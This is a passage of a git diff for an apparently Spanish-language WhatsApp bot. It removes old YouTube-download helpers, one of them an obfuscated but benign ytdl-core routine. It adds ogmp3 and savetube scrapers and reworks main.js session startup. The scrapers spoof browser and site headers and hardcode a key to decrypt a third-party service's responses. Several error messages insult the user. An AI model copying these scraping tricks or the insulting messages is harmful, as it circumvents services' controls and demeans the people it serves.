- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 OPR/99.0.0.0',
- },
- });
- const json = await at.json();
- if (json.error == true) reject(false);
- const formats = json.formats;
- if (type == 'audio') {
- const formatau = formats.audio;
- let format = formatau.find((format) => format.quality == 192);
- if (!format) format = formatau.find((format) => format.quality == 128);
- if (!format) format = formatau.find((format) => format.quality == 64);
- if (!format) format = formatau.find((format) => format.quality == 48);
- if (!format) return reject(false);
- return resolve(format);
- }
- if (type == 'video') {
- if (formats.video.length == 0) return reject(false);
- const format = formats.video[formats.video.length - 1];
- return resolve(format);
- }
-});
-
-const getUrlDl = (url) => new Promise(async (resolve, reject) => {
- const taskid = await fetch('https://srvcdn8.2convert.me/api/json', {
- method: 'POST',
- headers: {
- 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
- 'origin': 'https://en1.y2mate.is',
- 'referer': 'https://en1.y2mate.is/',
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 OPR/99.0.0.0',
- },
- body: 'hash=' + encodeURIComponent(url),
- });
- const json = await taskid.json();
- if (json.error) return reject(false);
- // nsole.log(taskid)
- /* ask for status every 1 second */
- let status = false;
- while (status == false) {
- await sleep(1000);
- const statusid = await fetch('https://srvcdn8.2convert.me/api/json/task', {
- method: 'POST',
- headers: {
- 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
- 'origin': 'https://en1.y2mate.is',
- 'referer': 'https://en1.y2mate.is/',
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 OPR/99.0.0.0',
- },
- body: 'taskId=' + json.taskId,
- });
- const json2 = await statusid.json();
- if (json2.error) return reject(false);
- if (json2.status == 'finished') {
- status = true;
- resolve(json2);
- break;
- }
- if (json2.status == 'error') return reject(false);
- }
-});
-
-export {
- bestFormat,
- getUrlDl,
-};
diff --git a/lib/y2mate.js b/lib/y2mate.js
deleted file mode 100644
index 913cbf876..000000000
--- a/lib/y2mate.js
+++ /dev/null
@@ -1,96 +0,0 @@
-import fetch from 'node-fetch';
-import {JSDOM} from 'jsdom';
-
-function post(url, formdata) {
- return fetch(url, {
- method: 'POST',
- headers: {
- 'accept': '*/*',
- 'accept-language': 'en-US,en;q=0.9',
- 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
- },
- body: new URLSearchParams(Object.entries(formdata)),
- });
-}
-const ytIdRegex = /(?:http(?:s|):\/\/|)(?:(?:www\.|)youtube(?:\-nocookie|)\.com\/(?:shorts\/)?(?:watch\?.*(?:|\&)v=|embed\/|v\/)|youtu\.be\/)([-_0-9A-Za-z]{11})/;
-
-/**
- * Download YouTube Video via y2mate
- * @param {String} url YouTube Video URL
- * @param {String} quality (avaiable: `144p`, `240p`, `360p`, `480p`, `720p`, `1080p`, `1440p`, `2160p`)
- * @param {String} type (avaiable: `mp3`, `mp4`)
- * @param {String} bitrate (avaiable for video: `144`, `240`, `360`, `480`, `720`, `1080`, `1440`, `2160`)
- * (avaiable for audio: `128`)
- * @param {String} server (avaiable: `id4`, `en60`, `en61`, `en68`)
- */
-async function yt(url, quality, type, bitrate, server = 'en68') {
- if (!ytIdRegex.test(url)) throw 'Invalid URL';
- const ytId = ytIdRegex.exec(url);
- url = 'https://youtu.be/' + ytId[1];
- const res = await post(`https://www.y2mate.com/mates/${server}/analyze/ajax`, {
- url,
- q_auto: 0,
- ajax: 1,
- });
- const json = await res.json();
- const {document} = (new JSDOM(json.result)).window;
- const tables = document.querySelectorAll('table');
- const table = tables[{mp4: 0, mp3: 1}[type] || 0];
- let list;
- switch (type) {
- case 'mp4':
- list = Object.fromEntries([...table.querySelectorAll('td > a[href="#"]')].filter((v) => !/\.3gp/.test(v.innerHTML)).map((v) => [v.innerHTML.match(/.*?(?=\()/)[0].trim(), v.parentElement.nextSibling.nextSibling.innerHTML]));
- break;
- case 'mp3':
- list = {
- '128kbps': table.querySelector('td > a[href="#"]').parentElement.nextSibling.nextSibling.innerHTML,
- };
- break;
- default:
- list = {};
- }
- const filesize = list[quality];
- const id = /var k__id = "(.*?)"/.exec(document.body.innerHTML) || ['', ''];
- const thumb = document.querySelector('img').src;
- const title = document.querySelector('b').innerHTML;
- const res2 = await post(`https://www.y2mate.com/mates/${server}/convert`, {
- type: 'youtube',
- _id: id[1],
- v_id: ytId[1],
- ajax: '1',
- token: '',
- ftype: type,
- fquality: bitrate,
- });
- const json2 = await res2.json();
- const KB = parseFloat(filesize) * (1000 * /MB$/.test(filesize));
- return {
- dl_link: / {
+ const array = new Uint8Array(16);
+ crypto.getRandomValues(array);
+ return Array.from(array, byte => byte.toString(16).padStart(2, "0")).join("");
+ },
+
+ encoded: (str) => {
+ let result = "";
+ for (let i = 0; i < str.length; i++) {
+ result += String.fromCharCode(str.charCodeAt(i) ^ 1);
+ }
+ return result;
+ },
+
+ enc_url: (url, separator = ",") => {
+ const codes = [];
+ for (let i = 0; i < url.length; i++) {
+ codes.push(url.charCodeAt(i));
+ }
+ return codes.join(separator).split(separator).reverse().join(separator);
+ }
+ },
+
+ isUrl: str => {
+ try {
+ const url = new URL(str);
+ const hostname = url.hostname.toLowerCase();
+ const b = [/^(.+\.)?youtube\.com$/, /^(.+\.)?youtube-nocookie\.com$/, /^youtu\.be$/];
+ return b.some(a => a.test(hostname)) && !url.searchParams.has("playlist");
+ } catch (_) {
+ return false;
+ }
+ },
+
+ youtube: url => {
+ if (!url) return null;
+ const b = [
+ /youtube\.com\/watch\?v=([a-zA-Z0-9_-]{11})/,
+ /youtube\.com\/embed\/([a-zA-Z0-9_-]{11})/,
+ /youtube\.com\/v\/([a-zA-Z0-9_-]{11})/,
+ /youtube\.com\/shorts\/([a-zA-Z0-9_-]{11})/,
+ /youtu\.be\/([a-zA-Z0-9_-]{11})/
+ ];
+ for (let a of b) {
+ if (a.test(url)) return url.match(a)[1];
+ }
+ return null;
+ },
+
+ request: async (endpoint, data = {}, method = 'post') => {
+ try {
+ const ae = Object.values(ogmp3.api.endpoints);
+ const be = ae[Math.floor(Math.random() * ae.length)];
+
+ const fe = endpoint.startsWith('http') ? endpoint : `${be}${endpoint}`;
+
+ const { data: response } = await axios({
+ method,
+ url: fe,
+ data: method === 'post' ? data : undefined,
+ headers: ogmp3.headers
+ });
+ return {
+ status: true,
+ code: 200,
+ data: response
+ };
+ } catch (error) {
+ return {
+ status: false,
+ code: error.response?.status || 500,
+ error: error.message
+ };
+ }
+ },
+
+ async checkStatus(id) {
+ try {
+ const c = this.utils.hash();
+ const d = this.utils.hash();
+ const endpoint = `/${c}/status/${this.utils.encoded(id)}/${d}/`;
+
+ const response = await this.request(endpoint, {
+ data: id
+ });
+
+ return response;
+ } catch (error) {
+ return {
+ status: false,
+ code: 500,
+ error: error.message
+ };
+ }
+ },
+
+ async checkProgress(data) {
+ try {
+ let attempts = 0;
+ let maxAttempts = 300;
+
+ while (attempts < maxAttempts) {
+ attempts++;
+
+ const res = await this.checkStatus(data.i);
+ if (!res.status) {
+ await new Promise(resolve => setTimeout(resolve, 2000));
+ continue;
+ }
+
+ const stat = res.data;
+ if (stat.s === "C") {
+ return stat;
+ }
+
+ if (stat.s === "P") {
+ await new Promise(resolve => setTimeout(resolve, 2000));
+ continue;
+ }
+
+ return null;
+ }
+
+ return null;
+ } catch (error) {
+ return null;
+ }
+ },
+
+ download: async (link, format, type = 'video') => {
+ if (!link) {
+ return {
+ status: false,
+ code: 400,
+ error: "¿Que es lo que descarga? ingresa en link idiota"
+ };
+ }
+
+ if (!ogmp3.isUrl(link)) {
+ return {
+ status: false,
+ code: 400,
+ error: "Ese link es invalido pon en link de un video de youtube valido idiotas 🗿"
+ };
+ }
+
+ if (type !== 'video' && type !== 'audio') {
+ return {
+ status: false,
+ code: 400,
+ error: "Elejir video o audio?"
+ };
+ }
+
+ if (!format) {
+ format = type === 'audio' ? ogmp3.default_fmt.audio : ogmp3.default_fmt.video;
+ }
+
+ const valid_fmt = type === 'audio' ? ogmp3.formats.audio : ogmp3.formats.video;
+ if (!valid_fmt.includes(format)) {
+ return {
+ status: false,
+ code: 400,
+ error: `Formato ${format} no es valido para ${type} pero puedes elegir unos de estos: ${valid_fmt.join(', ')}`
+ };
+ }
+
+ const id = ogmp3.youtube(link);
+ if (!id) {
+ return {
+ status: false,
+ code: 400,
+ error: "Donde pito esta la ID del video? no puedo extraerlo hdp"
+ };
+ }
+
+ try {
+ let retries = 0;
+ const maxRetries = 20;
+
+ while (retries < maxRetries) {
+ retries++;
+ const c = ogmp3.utils.hash();
+ const d = ogmp3.utils.hash();
+ const req = {
+ data: ogmp3.utils.encoded(link),
+ format: type === 'audio' ? "0" : "1",
+ referer: "https://ogmp3.cc",
+ mp3Quality: type === 'audio' ? format : null,
+ mp4Quality: type === 'video' ? format : null,
+ userTimeZone: new Date().getTimezoneOffset().toString()
+ };
+
+ const resx = await ogmp3.request(
+ `/${c}/init/${ogmp3.utils.enc_url(link)}/${d}/`,
+ req
+ );
+
+ if (!resx.status) {
+ if (retries === maxRetries) return resx;
+ continue;
+ }
+
+ const data = resx.data;
+ if (data.le) {
+ return {
+ status: false,
+ code: 400,
+ error: "La duración del video es demasiado larga, amigo. El máximo es de 3 horas, no puedes superar eso, ¿entendido? 👍🏻"
+ };
+ }
+
+ if (data.i === "blacklisted") {
+ const limit = ogmp3.restrictedTimezones.has(new Date().getTimezoneOffset().toString()) ? 5 : 100;
+ return {
+ status: false,
+ code: 429,
+ error: `Limite de descargas diarias (${limit}) alcanzados, intente de nuevo mas tardes.`
+ };
+ }
+
+ if (data.e || data.i === "invalid") {
+ return {
+ status: false,
+ code: 400,
+ error: "El video no existe, idiota. No sé si fue eliminado o si YouTube lo restringió... no tengo idea 🤷🏻"
+ };
+ }
+
+ if (data.s === "C") {
+ return {
+ status: true,
+ code: 200,
+ result: {
+ title: data.t || "Kagak tau",
+ type: type,
+ format: format,
+ thumbnail: `https://i.ytimg.com/vi/${id}/maxresdefault.jpg`,
+ download: `${ogmp3.api.base}/${ogmp3.utils.hash()}/download/${ogmp3.utils.encoded(data.i)}/${ogmp3.utils.hash()}/`,
+ id: id,
+ quality: format
+ }
+ };
+ }
+
+ const prod = await ogmp3.checkProgress(data);
+ if (prod && prod.s === "C") {
+ return {
+ status: true,
+ code: 200,
+ result: {
+ title: prod.t || "Kagak tau",
+ type: type,
+ format: format,
+ thumbnail: `https://i.ytimg.com/vi/${id}/maxresdefault.jpg`,
+ download: `${ogmp3.api.base}/${ogmp3.utils.hash()}/download/${ogmp3.utils.encoded(prod.i)}/${ogmp3.utils.hash()}/`,
+ id: id,
+ quality: format
+ }
+ };
+ }
+ }
+
+ return {
+ status: false,
+ code: 500,
+ error: "Estoy exhausto, idiota... Ya intenté hacer la solicitud varias veces y sigue sin funcionar, así que dejaré la solicitud para más tarde, ¡hasta luego! 😂"
+ };
+
+ } catch (error) {
+ return {
+ status: false,
+ code: 500,
+ error: error.message
+ };
+ }
+ }
+};
+
+export { ogmp3 };
\ No newline at end of file
diff --git a/lib/yt-savetube.js b/lib/yt-savetube.js
new file mode 100644
index 000000000..51f0d2ecd
--- /dev/null
+++ b/lib/yt-savetube.js
@@ -0,0 +1,182 @@
+import axios from 'axios';
+import crypto from 'crypto';
+
+const savetube = {
+ api: {
+ base: "https://media.savetube.me/api",
+ cdn: "/random-cdn",
+ info: "/v2/info",
+ download: "/download"
+ },
+ headers: {
+ 'accept': '*/*',
+ 'content-type': 'application/json',
+ 'origin': 'https://yt.savetube.me',
+ 'referer': 'https://yt.savetube.me/',
+ 'user-agent': 'Postify/1.0.0'
+ },
+ formats: ['144', '240', '360', '480', '720', '1080', 'mp3'],
+
+ crypto: {
+ hexToBuffer: (hexString) => {
+ const matches = hexString.match(/.{1,2}/g);
+ return Buffer.from(matches.join(''), 'hex');
+ },
+
+ decrypt: async (enc) => {
+ try {
+ const secretKey = 'C5D58EF67A7584E4A29F6C35BBC4EB12';
+ const data = Buffer.from(enc, 'base64');
+ const iv = data.slice(0, 16);
+ const content = data.slice(16);
+ const key = savetube.crypto.hexToBuffer(secretKey);
+
+ const decipher = crypto.createDecipheriv('aes-128-cbc', key, iv);
+ let decrypted = decipher.update(content);
+ decrypted = Buffer.concat([decrypted, decipher.final()]);
+
+ return JSON.parse(decrypted.toString());
+ } catch (error) {
+ throw new Error(`${error.message}`);
+ }
+ }
+ },
+
+ isUrl: str => {
+ try {
+ new URL(str);
+ return true;
+ } catch (_) {
+ return false;
+ }
+ },
+
+ youtube: url => {
+ if (!url) return null;
+ const a = [
+ /youtube\.com\/watch\?v=([a-zA-Z0-9_-]{11})/,
+ /youtube\.com\/embed\/([a-zA-Z0-9_-]{11})/,
+ /youtube\.com\/v\/([a-zA-Z0-9_-]{11})/,
+ /youtube\.com\/shorts\/([a-zA-Z0-9_-]{11})/,
+ /youtu\.be\/([a-zA-Z0-9_-]{11})/
+ ];
+ for (let b of a) {
+ if (b.test(url)) return url.match(b)[1];
+ }
+ return null;
+ },
+
+ request: async (endpoint, data = {}, method = 'post') => {
+ try {
+ const { data: response } = await axios({
+ method,
+ url: `${endpoint.startsWith('http') ? '' : savetube.api.base}${endpoint}`,
+ data: method === 'post' ? data : undefined,
+ params: method === 'get' ? data : undefined,
+ headers: savetube.headers
+ });
+ return {
+ status: true,
+ code: 200,
+ data: response
+ };
+ } catch (error) {
+ return {
+ status: false,
+ code: error.response?.status || 500,
+ error: error.message
+ };
+ }
+ },
+
+ getCDN: async () => {
+ const response = await savetube.request(savetube.api.cdn, {}, 'get');
+ if (!response.status) return response;
+ return {
+ status: true,
+ code: 200,
+ data: response.data.cdn
+ };
+ },
+
+ download: async (link, format) => {
+ if (!link) {
+ return {
+ status: false,
+ code: 400,
+ error: "[ ❌ ] ¿Dónde está el link? No puedes descargar sin link "
+ };
+ }
+
+ if (!savetube.isUrl(link)) {
+ return {
+ status: false,
+ code: 400,
+ error: "[ ❌ ] ¿Qué link pusiste? 🗿 Deberías poner un link de YouTube, si vas a descargar de ahí 👍🏻"
+ };
+ }
+
+ if (!format || !savetube.formats.includes(format)) {
+ return {
+ status: false,
+ code: 400,
+ error: "*[ ❌ ] El formato no está disponible, elige uno de los que ya están disponibles, no busques lo que no hay 🗿*",
+ available_fmt: savetube.formats
+ };
+ }
+
+ const id = savetube.youtube(link);
+ if (!id) {
+ return {
+ status: false,
+ code: 400,
+ error: "*[ ❌ ] No se puede extraer el enlace de YouTube, asegúrate de que el enlace sea el correcto para evitar esto nuevamente 😂*"
+ };
+ }
+
+ try {
+ const cdnx = await savetube.getCDN();
+ if (!cdnx.status) return cdnx;
+ const cdn = cdnx.data;
+
+ const result = await savetube.request(`https://${cdn}${savetube.api.info}`, {
+ url: `https://www.youtube.com/watch?v=${id}`
+ });
+ if (!result.status) return result;
+ const decrypted = await savetube.crypto.decrypt(result.data.data);
+
+ const dl = await savetube.request(`https://${cdn}${savetube.api.download}`, {
+ id: id,
+ downloadType: format === 'mp3' ? 'audio' : 'video',
+ quality: format === 'mp3' ? '128' : format,
+ key: decrypted.key
+ });
+
+ return {
+ status: true,
+ code: 200,
+ result: {
+ title: decrypted.title || "Sin tittle",
+ type: format === 'mp3' ? 'audio' : 'video',
+ format: format,
+ thumbnail: decrypted.thumbnail || `https://i.ytimg.com/vi/${id}/maxresdefault.jpg`,
+ download: dl.data.data.downloadUrl,
+ id: id,
+ key: decrypted.key,
+ duration: decrypted.duration,
+ quality: format === 'mp3' ? '128' : format,
+ downloaded: dl.data.data.downloaded || false
+ }
+ };
+
+ } catch (error) {
+ return {
+ status: false,
+ code: 500,
+ error: error.message
+ };
+ }
+ }
+};
+
+export { savetube };
\ No newline at end of file
diff --git a/lib/ytdll.js b/lib/ytdll.js
deleted file mode 100644
index 61f4e83d6..000000000
--- a/lib/ytdll.js
+++ /dev/null
@@ -1,2 +0,0 @@
-/* creditos del código a @darlyn1234 */
-const _0x27229e=_0x28d1;(function(_0x6e53d2,_0x3492d1){const _0x48f315=_0x28d1,_0x5e9881=_0x6e53d2();while(!![]){try{const _0x3f3c4c=parseInt(_0x48f315(0x167))/0x1*(parseInt(_0x48f315(0x170))/0x2)+-parseInt(_0x48f315(0x187))/0x3+parseInt(_0x48f315(0x173))/0x4+-parseInt(_0x48f315(0x16e))/0x5*(-parseInt(_0x48f315(0x160))/0x6)+-parseInt(_0x48f315(0x189))/0x7+-parseInt(_0x48f315(0x165))/0x8+parseInt(_0x48f315(0x16d))/0x9*(parseInt(_0x48f315(0x177))/0xa);if(_0x3f3c4c===_0x3492d1)break;else _0x5e9881['push'](_0x5e9881['shift']());}catch(_0xd4fbc6){_0x5e9881['push'](_0x5e9881['shift']());}}}(_0xc8ef,0x6361c));import _0x37e570 from'ytdl-core';import _0x172ed9 from'readline';import _0x25f9c7 from'fluent-ffmpeg';import _0x5e7b95 from'fs';function _0x28d1(_0x2b978d,_0x28c1a3){const _0xc8efe3=_0xc8ef();return _0x28d1=function(_0x28d13e,_0x255196){_0x28d13e=_0x28d13e-0x15e;let _0x578705=_0xc8efe3[_0x28d13e];return _0x578705;},_0x28d1(_0x2b978d,_0x28c1a3);}import{randomBytes}from'crypto';const ytIdRegex=/(?:youtube\.com\/\S*(?:(?:\/e(?:mbed))?\/|watch\?(?:\S*?&?v\=))|youtu\.be\/)([a-zA-Z0-9_-]{6,11})/;class YT{constructor(){}static [_0x27229e(0x17a)]=_0x6eb24b=>{const _0x402101=_0x27229e;return ytIdRegex[_0x402101(0x196)](_0x6eb24b);};static [_0x27229e(0x163)]=_0x40d911=>{const _0x460632=_0x27229e;if(!this[_0x460632(0x17a)](_0x40d911))throw new Error(_0x460632(0x17c));return ytIdRegex[_0x460632(0x193)](_0x40d911)[0x1];};static [_0x27229e(0x162)]=async _0x53b078=>{const _0x292a42=_0x27229e;try{if(!_0x53b078)throw new Error(_0x292a42(0x195));_0x53b078=this['isYTUrl'](_0x53b078)?_0x292a42(0x16c)+this[_0x292a42(0x163)](_0x53b078):_0x53b078;const {videoDetails:_0x400486}=await _0x37e570[_0x292a42(0x16a)](_0x53b078,{'lang':'id'});let _0x25b7d3=_0x37e570(_0x53b078,{'filter':_0x292a42(0x194),'quality':0x8c}),_0x2e9574=_0x292a42(0x182)+randomBytes(0x3)['toString'](_0x292a42(0x180))+'.mp3',_0x253b8c;_0x25b7d3[_0x292a42(0x171)](_0x292a42(0x18a),()=>{_0x253b8c=Date['now']();}),_0x25b7d3['on']('progress',(_0x3b4a6d,_0x76f008,_0x13c899)=>{const _0x396821=_0x292a42,_0x1d2374=_0x76f008/_0x13c899,_0xf51158=(Date[_0x396821(0x186)]()-_0x253b8c)/0x3e8/0x3c,_0x456242=_0xf51158/_0x1d2374-_0xf51158;_0x172ed9[_0x396821(0x16f)](process[_0x396821(0x172)],0x0),process[_0x396821(0x172)][_0x396821(0x169)]((_0x1d2374*0x64)['toFixed'](0x2)+_0x396821(0x181)),process[_0x396821(0x172)][_0x396821(0x169)]('('+(_0x76f008/0x400/0x400)['toFixed'](0x2)+'MB\x20of\x20'+(_0x13c899/0x400/0x400)[_0x396821(0x178)](0x2)+_0x396821(0x17b)),process[_0x396821(0x172)][_0x396821(0x169)](_0x396821(0x164)+_0xf51158['toFixed'](0x2)+_0x396821(0x16b)),process[_0x396821(0x172)][_0x396821(0x169)](_0x396821(0x179)+_0x456242['toFixed'](0x2)+_0x396821(0x190)),_0x172ed9[_0x396821(0x188)](process[_0x396821(0x172)],0x0,-0x1);}),_0x25b7d3['on'](_0x292a42(0x18b),()=>process[_0x292a42(0x172)][_0x292a42(0x169)]('\x0a\x0a')),_0x25b7d3['on'](_0x292a42(0x18d),_0x5937f8=>console[_0x292a42(0x183)](_0x5937f8));const _0xac6685=await new Promise(_0x1c3a28=>{const _0x17fc9a=_0x292a42;_0x25f9c7(_0x25b7d3)[_0x17fc9a(0x168)](0xac44)[_0x17fc9a(0x184)](0x2)['audioBitrate'](0x80)[_0x17fc9a(0x161)](_0x17fc9a(0x18e))['audioQuality'](0x5)[_0x17fc9a(0x166)](_0x17fc9a(0x162))[_0x17fc9a(0x18c)](_0x2e9574)['on'](_0x17fc9a(0x18b),()=>{_0x1c3a28(_0x2e9574);});});return{'meta':{'channelUrl':_0x400486[_0x292a42(0x191)]['channel_url'],'views':_0x400486[_0x292a42(0x192)],'category':_0x400486['category'],'id':_0x400486[_0x292a42(0x197)],'url':_0x400486[_0x292a42(0x17f)],'publicDate':_0x400486['publishDate'],'uploadDate':_0x400486[_0x292a42(0x17e)],'keywords':_0x400486[_0x292a42(0x15e)],'title':_0x400486['title'],'channel':_0x400486['author'][_0x292a42(0x174)],'seconds':_0x400486[_0x292a42(0x17d)],'image':_0x400486[_0x292a42(0x185)][_0x292a42(0x18f)](-0x1)[0x0][_0x292a42(0x176)]},'path':_0xac6685,'size':_0x5e7b95[_0x292a42(0x175)](_0x2e9574)[_0x292a42(0x15f)]};}catch(_0x501dd3){throw _0x501dd3;}};}export default YT;function _0xc8ef(){const _0xccb13f=['./tmp/','log','audioChannels','thumbnails','now','675621iSRrbn','moveCursor','5348966ORMuwT','response','end','save','error','libmp3lame','slice','minutes\x20','author','viewCount','exec','audioonly','Video\x20ID\x20or\x20YouTube\x20Url\x20is\x20required','test','videoId','keywords','size','234492navOHG','audioCodec','mp3','getVideoID','running\x20for:\x20','3617256BbfVWN','toFormat','90407nVFNHF','audioFrequency','write','getInfo','minutes','https://www.youtube.com/watch?v=','792azRzbF','10OGFdSz','cursorTo','14AXVfvD','once','stdout','1843348TIwAXX','name','statSync','url','76900mhwvix','toFixed',',\x20estimated\x20time\x20left:\x20','isYTUrl','MB)\x0a','is\x20not\x20YouTube\x20URL','lengthSeconds','uploadDate','video_url','hex','%\x20downloaded\x20'];_0xc8ef=function(){return _0xccb13f;};return _0xc8ef();}
diff --git a/main.js b/main.js
index e20ffb212..95c25ff2e 100644
--- a/main.js
+++ b/main.js
@@ -1,128 +1,53 @@
-process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = '1'
-import './config.js'
-import {createRequire} from 'module'
-import path, {join} from 'path'
-import {fileURLToPath, pathToFileURL} from 'url'
-import {platform} from 'process'
-import * as ws from 'ws'
-import {readdirSync, statSync, unlinkSync, existsSync, readFileSync, rmSync, watch} from 'fs'
-import yargs from 'yargs'
-import {spawn} from 'child_process'
-import lodash from 'lodash'
-import chalk from 'chalk'
-import fs from 'fs'
-import { watchFile, unwatchFile } from 'fs'
-import syntaxerror from 'syntax-error'
-import {tmpdir} from 'os'
-import {format} from 'util'
-import P from 'pino'
-import pino from 'pino'
-import Pino from 'pino'
-import {Boom} from '@hapi/boom'
-import {makeWASocket, protoType, serialize} from './lib/simple.js'
-import {Low, JSONFile} from 'lowdb'
-import {mongoDB, mongoDBV2} from './lib/mongoDB.js'
-import store from './lib/store.js'
-import readline from 'readline'
-import NodeCache from 'node-cache'
-const { proto} = (await import('@whiskeysockets/baileys')).default;
-const { DisconnectReason, useMultiFileAuthState, MessageRetryMap, fetchLatestBaileysVersion, makeCacheableSignalKeyStore, jidNormalizedUser, PHONENUMBER_MCC } = await import('@whiskeysockets/baileys')
-const { CONNECTING} = ws
-const { chain} = lodash
-const PORT = process.env.PORT || process.env.SERVER_PORT || 3000
-
-protoType()
-serialize()
-
-global.__filename = function filename(pathURL = import.meta.url, rmPrefix = platform !== 'win32') {
- return rmPrefix ? /file:\/\/\//.test(pathURL) ? fileURLToPath(pathURL) : pathURL : pathToFileURL(pathURL).toString();
-}; global.__dirname = function dirname(pathURL) {
- return path.dirname(global.__filename(pathURL, true));
-}; global.__require = function require(dir = import.meta.url) {
- return createRequire(dir);
+import * as baileys from "@whiskeysockets/baileys";
+import fs from "fs";
+import path from "path";
+import chalk from "chalk";
+import readlineSync from "readline-sync";
+import pino from "pino";
+import NodeCache from 'node-cache';
+import { startSubBot } from "./lib/subbot.js";
+import "./config.js";
+import { handler, callUpdate, participantsUpdate, groupsUpdate } from "./handler.js";
+import { loadPlugins } from './lib/plugins.js';
+
+await loadPlugins();
+const BOT_SESSION_FOLDER = "./BotSession";
+const BOT_CREDS_PATH = path.join(BOT_SESSION_FOLDER, "creds.json");
+if (!fs.existsSync(BOT_SESSION_FOLDER)) fs.mkdirSync(BOT_SESSION_FOLDER);
+
+if (!globalThis.conns || !(globalThis.conns instanceof Array)) globalThis.conns = [];
+const reconectando = new Set();
+let usarCodigo = false;
+let numero = "";
+
+// --- Detector de spam de "ekey bundle" ---
+let spamCount = 0;
+
+setInterval(() => { spamCount = 0 }, 60 * 1000);
+
+const origError = console.error;
+console.error = (...args) => {
+ if (args[0]?.toString().includes("Closing stale open session")) {
+ spamCount++;
+ if (spamCount > 50) {
+ console.log("⚠️ Detectado loop de sesiones, reiniciando bot...");
+ process.exit(1);
+ }
+ }
+ origError(...args);
};
-global.API = (name, path = '/', query = {}, apikeyqueryname) => (name in global.APIs ? global.APIs[name] : name) + path + (query || apikeyqueryname ? '?' + new URLSearchParams(Object.entries({...query, ...(apikeyqueryname ? {[apikeyqueryname]: global.APIKeys[name in global.APIs ? global.APIs[name] : name]} : {})})) : '')
-global.timestamp = { start: new Date }
-
-const __dirname = global.__dirname(import.meta.url);
-
-global.opts = new Object(yargs(process.argv.slice(2)).exitProcess(false).parse());
-global.prefix = new RegExp('^[' + (opts['prefix'] || '*/i!#$%+£¢€¥^°=¶∆×÷π√✓©®:;?&.\\-.@aA').replace(/[|\\{}()[\]^$+*?.\-\^]/g, '\\$&') + ']');
-
-global.db = new Low(/https?:\/\//.test(opts['db'] || '') ? new cloudDBAdapter(opts['db']) : new JSONFile(`${opts._[0] ? opts._[0] + '_' : ''}database.json`));
+main();
-global.DATABASE = global.db;
-global.loadDatabase = async function loadDatabase() {
-if (global.db.READ) {
-return new Promise((resolve) => setInterval(async function() {
-if (!global.db.READ) {
-clearInterval(this);
-resolve(global.db.data == null ? global.loadDatabase() : global.db.data);
-}}, 1 * 1000));
-}
-if (global.db.data !== null) return;
-global.db.READ = true;
-await global.db.read().catch(console.error);
-global.db.READ = null;
-global.db.data = {
-users: {},
-chats: {},
-stats: {},
-msgs: {},
-sticker: {},
-settings: {},
-...(global.db.data || {}),
-};
-global.db.chain = chain(global.db.data);
-};
-loadDatabase();
+async function main() {
+const hayCredencialesPrincipal = fs.existsSync(BOT_CREDS_PATH);
+const subbotsFolder = "./jadibot";
+const haySubbotsActivos = fs.existsSync(subbotsFolder) && fs.readdirSync(subbotsFolder).some(folder => fs.existsSync(path.join(subbotsFolder, folder, "creds.json"))
+);
-/* ------------------------------------------------*/
-
-global.chatgpt = new Low(new JSONFile(path.join(__dirname, '/db/chatgpt.json')));
-global.loadChatgptDB = async function loadChatgptDB() {
-if (global.chatgpt.READ) {
-return new Promise((resolve) =>
-setInterval(async function() {
-if (!global.chatgpt.READ) {
-clearInterval(this);
-resolve( global.chatgpt.data === null ? global.loadChatgptDB() : global.chatgpt.data );
-}}, 1 * 1000));
-}
-if (global.chatgpt.data !== null) return;
-global.chatgpt.READ = true;
-await global.chatgpt.read().catch(console.error);
-global.chatgpt.READ = null;
-global.chatgpt.data = {
-users: {},
-...(global.chatgpt.data || {}),
-};
-global.chatgpt.chain = lodash.chain(global.chatgpt.data);
-};
-loadChatgptDB();
-
-/* ------------------------------------------------*/
-
-global.authFile = `BotSession`
-const {state, saveState, saveCreds} = await useMultiFileAuthState(global.authFile)
-const msgRetryCounterMap = (MessageRetryMap) => { };
-const msgRetryCounterCache = new NodeCache()
-const {version} = await fetchLatestBaileysVersion();
-let phoneNumber = global.botNumberCode
-
-const methodCodeQR = process.argv.includes("qr")
-const methodCode = !!phoneNumber || process.argv.includes("code")
-const MethodMobile = process.argv.includes("mobile")
-
-const rl = readline.createInterface({ input: process.stdin, output: process.stdout })
-const question = (texto) => new Promise((resolver) => rl.question(texto, resolver))
-
-let opcion
-if (!methodCodeQR && !methodCode && !fs.existsSync(`./${authFile}/creds.json`)) {
-do {
+if (!hayCredencialesPrincipal && !haySubbotsActivos) {
let lineM = '⋯ ⋯ ⋯ ⋯ ⋯ ⋯ ⋯ ⋯ ⋯ ⋯ ⋯ 》'
-opcion = await question(`╭${lineM}
+const opcion = readlineSync.question(`╭${lineM}
┊ ${chalk.blueBright('╭┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅')}
┊ ${chalk.blueBright('┊')} ${chalk.blue.bgBlue.bold.cyan('MÉTODO DE VINCULACIÓN')}
┊ ${chalk.blueBright('╰┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅')}
@@ -136,337 +61,235 @@ opcion = await question(`╭${lineM}
┊ ${chalk.blueBright('┊')} ${chalk.italic.magenta('la opción para conectarse.')}
┊ ${chalk.blueBright('╰┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅')}
╰${lineM}\n${chalk.bold.magentaBright('---> ')}`)
-//if (fs.existsSync(`./${authFile}/creds.json`)) {
-//console.log(chalk.bold.redBright(`PRIMERO BORRE EL ARCHIVO ${chalk.bold.greenBright("creds.json")} QUE SE ENCUENTRA EN LA CARPETA ${chalk.bold.greenBright(authFile)} Y REINICIE.`))
-//process.exit()
-if (!/^[1-2]$/.test(opcion)) {
-console.log(chalk.bold.redBright(`NO SE PERMITE NÚMEROS QUE NO SEAN ${chalk.bold.greenBright("1")} O ${chalk.bold.greenBright("2")}, TAMPOCO LETRAS O SÍMBOLOS ESPECIALES.
